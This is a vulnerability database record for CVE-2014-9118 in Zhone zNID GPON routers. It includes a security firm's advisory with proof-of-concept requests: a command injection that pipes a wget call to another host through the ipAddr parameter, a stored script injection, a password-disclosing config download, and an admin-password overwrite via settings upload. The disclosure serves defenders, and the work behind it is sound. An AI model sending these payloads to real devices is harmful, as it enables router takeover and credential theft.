ID

VAR-201710-0139


CVE

CVE-2014-9118


TITLE

Zhone zNID GPON 2426A Command injection vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2014-008410

DESCRIPTION

The web administrative portal in Zhone zNID GPON 2426A before S3.0.501 allows remote attackers to execute arbitrary commands via shell metacharacters in the ipAddr parameter to zhnping.cmd. Zhone zNID GPON 2426A Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Zhone Technologies zNID GPON 24xx, 24xxA, 42xx, 42xxA, 26xx and 28xx are router products of Zhone Technologies, USA. Multiple ZHONE Routers are prone to following security vulnerabilities: 1. Multiple HTML injection vulnerabilities 2. An information disclosure vulnerability 3. An authorization-bypass vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A remote command-execution vulnerability 6. A privilege-escalation vulnerability Successful exploits allow attacker-supplied HTML and script code to run in the context of the affected browser potentially allowing attackers to steal cookie-based authentication credentials, control how the site is rendered to the user, execute arbitrary commands, gain access to sensitive information, gain elevated privileges, execute arbitrary code and bypass security restrictions and perform unauthorized actions. Note: Reportedly these issues affect multiple ZHONE routers running firmware versions prior to S3.0.501 and fixed in S3.1.241, but this has not been confirmed by the vendor. Vantage Point Security Advisory 2015-002 ======================================== Title: Multiple Vulnerabilities found in ZHONE Vendor: Zhone Vendor URL: http://www.zhone.com Device Model: ZHONE ZNID GPON 2426A (24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models) Versions affected: < S3.0.501 Severity: Low to medium Vendor notified: Yes Reported: Public release: Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com> Summary: -------- 1. Insecure Direct Object Reference (CVE-2014-8356) --------------------------------------------------- The administrative web application does not enforce authorization on the server side. User access is restricted via Javascript only, by display available functions for each particular user based on their privileges. Low privileged users of the Zhone Router can therefore gain unrestricted access to administrative functionality, e.g. by modifying the javascript responses returned by the Zhone web server. Affected URL: http://<Router URL>/menuBcm.js To demonstrate the issue: 1. Set your browser proxy to Burp Suite 2. Add the following option to "Match and Replace". Match for the string 'admin' and replace with your low privilege user: 3. Login to the Zhone Administrative via your browser with Burp Proxy and you will have full administrative access via the Zhone Web Administrative Portal. 2. Admin Password Disclosure (CVE-2014-8357) -------------------------------------------- Any low-privileged user of the ZHONE Router Web Administrative Portal can obtain all users passwords stored in the ZHONE web server. The ZHONE router uses Base64 encoding to store all users passwords for logging in to the Web Administrative portal. As these passwords are stored in the backup file, a malicious user can obtain all account passwords. Affected URL: http://<Router URL>/ 1. Browse to http://192.168.1.1/backupsettings.html: 2. "View Source" and take note of the sessionKey: 3. Browse to http://<Router URL>/backupsettings.conf?action=getConfig&sessionKey=<Enter Session Key Here>. and all user account passwords will be returned. 3. Affected URL: /zhnping.cmd?&test=traceroute&sessionKey=985703201&ipAddr=192.168.1.1|wget%20http://192.168.1.17/l00per_was_here&ttl=30&wait=3&queries=3 Affected Parameter: ipAddr 4. Stored Cross-Site Scripting --------------------------------------------------------------------------------------- The zhnsystemconfig.cgi script is vulnerable to a stored cross-site scripting attack. Sample HTTP Request: GET /zhnsystemconfig.cgi?snmpSysName=ZNID24xxA- Route&snmpSysContact=Zhone%20Global%20Support&snmpSysLocation=www.zhone.com %3Cscript%3Ealert(1)%3C/script%3E&sessionKey=1853320716 HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/zhnsystemconfig.html Cookie: dm_install=no; dm_enable=no; hwaddr=54:A0:50:E4:F5:C0 Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>) Connection: keep-alive Affected Parameters: 1. snmpSysName 2. snmpSysLocation 3. snmpSysContact 5. Privilege Escalation via Direct Object Reference to Upload Settings Functionality --------------------------------------------------------------------------------------- A low-privileged user can patch the router settings via the /uploadsettings.cgi page. With this functionality, the malicious attacker is able to patch the admin and support password, hence gaining full administrative access to the Zhone router. Sample POST Request: POST /uploadsettings.cgi HTTP/1.1 Host: 192.168.1.1 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/updatesettings.html Cookie: dm_install=no; dm_enable=no; hwaddr=54:A0:50:E4:F5:C0 Connection: keep-alive Content-Type: multipart/form-data; boundary=--------------------------- 75010019812050198961998600862 Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>) Content-Length: 88438 -----------------------------75010019812050198961998600862 Content-Disposition: form-data; name="filename"; filename="backupsettings.conf" Content-Type: config/conf <?xml version="1.0"?> <DslCpeConfig version="3.2"> ... <AdminPassword>dnFmMUJyM3oB</AdminPassword> ... --- Configuration File Contents --- </DslCpeConfig> Fix Information: ---------------- Upgrade to version S3.1.241 Timeline: --------- 2014/10: Issues No. (1 & 2) reported to Zhone 2014/12: Issues No. (1 & 3) reported to Zhone 2015/01: Requested Update 2015/01: Fixes Provided by Zhone, but vulnerabilities still not fixed 2015/02: Sent P.O.C Video to show how vulnerabilities work 2015/03: Fixes Provided by Zhone, but vulnerabilities still not fixed 2015/04: Requested Update 2015/04: Issues No. (4 & 5) reported to Zhone 2015/06: Requested Update 2015/08: Requested Update 2015/09: Fixes for issue 1, 4 and 5 completed by Zhone 2015/10: Confirm that all issues has been fixed About Vantage Point Security: -------------------- Vantage Point is the leading provider for penetration testing and security advisory services in Singapore. Clients in the Financial, Banking and Telecommunications industries select Vantage Point Security based on technical competency and a proven track record to deliver significant and measurable improvements in their security posture. https://www.vantagepoint.sg/ office[at]vantagepoint[dot]sg

Trust: 2.61

sources: NVD: CVE-2014-9118 // JVNDB: JVNDB-2014-008410 // CNVD: CNVD-2015-07264 // BID: 77038 // VULHUB: VHN-77063 // PACKETSTORM: 133921

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2015-07264

AFFECTED PRODUCTS

vendor:dasanzhonemodel:znid 2426ascope:eqversion: -

Trust: 1.6

vendor:dasan zhonemodel:znid gpon 2426ascope:ltversion:s3.0.501

Trust: 0.8

vendor:zhonemodel:znid gponscope:eqversion:24xx

Trust: 0.6

vendor:zhonemodel:znid gpon 24xxascope: - version: -

Trust: 0.6

vendor:zhonemodel:znid gponscope:eqversion:42xx

Trust: 0.6

vendor:zhonemodel:znid gpon 42xxascope: - version: -

Trust: 0.6

vendor:zhonemodel:znid gponscope:eqversion:26xx

Trust: 0.6

vendor:zhonemodel:znid gponscope:eqversion:28xx.

Trust: 0.6

vendor:zhonemodel:znid gpon 4224ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 4222ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2804pscope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2648tscope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2648pscope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2648ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2645pscope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2645ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2644pscope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2644ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2628tscope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2628pscope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2628ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2625pscope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2625ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2624pscope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2624ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2427ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2426ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2425ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2424ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2403ascope:eqversion:0

Trust: 0.3

vendor:zhonemodel:znid gpon 2402ascope:eqversion:0

Trust: 0.3

sources: CNVD: CNVD-2015-07264 // BID: 77038 // JVNDB: JVNDB-2014-008410 // CNNVD: CNNVD-201510-721 // NVD: CVE-2014-9118

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2014-9118
value: HIGH

Trust: 1.0

NVD: CVE-2014-9118
value: HIGH

Trust: 0.8

CNVD: CNVD-2015-07264
value: HIGH

Trust: 0.6

CNNVD: CNNVD-201510-721
value: CRITICAL

Trust: 0.6

VULHUB: VHN-77063
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2014-9118
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:S/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2015-07264
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-77063
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:S/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2014-9118
baseSeverity: HIGH
baseScore: 8.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 2.8
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: CNVD: CNVD-2015-07264 // VULHUB: VHN-77063 // JVNDB: JVNDB-2014-008410 // CNNVD: CNNVD-201510-721 // NVD: CVE-2014-9118

PROBLEMTYPE DATA

problemtype:CWE-77

Trust: 1.9

sources: VULHUB: VHN-77063 // JVNDB: JVNDB-2014-008410 // NVD: CVE-2014-9118

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201510-721

TYPE

lack of information

Trust: 0.6

sources: CNNVD: CNNVD-201510-721

CONFIGURATIONS

sources: JVNDB: JVNDB-2014-008410

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-77063

PATCH

title:Top Pageurl:http://www.zhone.com

Trust: 0.8

sources: JVNDB: JVNDB-2014-008410

EXTERNAL IDS

db:NVDid:CVE-2014-9118

Trust: 3.5

db:PACKETSTORMid:133921

Trust: 2.6

db:EXPLOIT-DBid:38453

Trust: 1.7

db:BIDid:77038

Trust: 1.5

db:JVNDBid:JVNDB-2014-008410

Trust: 0.8

db:CNNVDid:CNNVD-201510-721

Trust: 0.7

db:CNVDid:CNVD-2015-07264

Trust: 0.6

db:VULHUBid:VHN-77063

Trust: 0.1

sources: CNVD: CNVD-2015-07264 // VULHUB: VHN-77063 // BID: 77038 // JVNDB: JVNDB-2014-008410 // PACKETSTORM: 133921 // CNNVD: CNNVD-201510-721 // NVD: CVE-2014-9118

REFERENCES

url:http://packetstormsecurity.com/files/133921/zhone-insecure-reference-password-disclosure-command-injection.html

Trust: 2.5

url:https://www.exploit-db.com/exploits/38453/

Trust: 1.7

url:http://seclists.org/fulldisclosure/2015/oct/57

Trust: 1.7

url:http://www.securityfocus.com/bid/77038

Trust: 1.2

url:http://www.securityfocus.com/archive/1/536663/100/0/threaded

Trust: 1.1

url:https://nvd.nist.gov/vuln/detail/cve-2014-9118

Trust: 0.9

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-9118

Trust: 0.8

url:http://www.securityfocus.com/archive/1/archive/1/536663/100/0/threaded

Trust: 0.6

url:http://www.forbes.com/sites/davelewis/2015/02/26/singapore-cert-warns-of-vulnerable-routers/

Trust: 0.3

url:http://www.zhone.com/

Trust: 0.3

url:http://seclists.org/bugtraq/2015/oct/62

Trust: 0.3

url:http://seclists.org/bugtraq/2015/oct/59

Trust: 0.3

url:http://192.168.1.1/zhnsystemconfig.html

Trust: 0.1

url:http://www.zhone.com

Trust: 0.1

url:https://www.vantagepoint.sg/

Trust: 0.1

url:http://<router

Trust: 0.1

url:http://192.168.1.1/updatesettings.html

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2014-8356

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2014-8357

Trust: 0.1

url:http://192.168.1.17/l00per_was_here&ttl=30&wait=3&queries=3

Trust: 0.1

url:http://192.168.1.1/backupsettings.html:

Trust: 0.1

sources: CNVD: CNVD-2015-07264 // VULHUB: VHN-77063 // BID: 77038 // JVNDB: JVNDB-2014-008410 // PACKETSTORM: 133921 // CNNVD: CNNVD-201510-721 // NVD: CVE-2014-9118

CREDITS

Lyon Yang

Trust: 1.0

sources: BID: 77038 // PACKETSTORM: 133921 // CNNVD: CNNVD-201510-721

SOURCES

db:CNVDid:CNVD-2015-07264
db:VULHUBid:VHN-77063
db:BIDid:77038
db:JVNDBid:JVNDB-2014-008410
db:PACKETSTORMid:133921
db:CNNVDid:CNNVD-201510-721
db:NVDid:CVE-2014-9118

LAST UPDATE DATE

2024-08-14T14:45:07.105000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2015-07264date:2015-11-05T00:00:00
db:VULHUBid:VHN-77063date:2018-10-09T00:00:00
db:BIDid:77038date:2015-10-12T00:00:00
db:JVNDBid:JVNDB-2014-008410date:2017-11-13T00:00:00
db:CNNVDid:CNNVD-201510-721date:2017-10-26T00:00:00
db:NVDid:CVE-2014-9118date:2018-10-09T19:54:57.370

SOURCES RELEASE DATE

db:CNVDid:CNVD-2015-07264date:2015-11-05T00:00:00
db:VULHUBid:VHN-77063date:2017-10-17T00:00:00
db:BIDid:77038date:2015-10-12T00:00:00
db:JVNDBid:JVNDB-2014-008410date:2017-11-13T00:00:00
db:PACKETSTORMid:133921date:2015-10-12T14:22:22
db:CNNVDid:CNNVD-201510-721date:2015-10-29T00:00:00
db:NVDid:CVE-2014-9118date:2017-10-17T16:29:00.377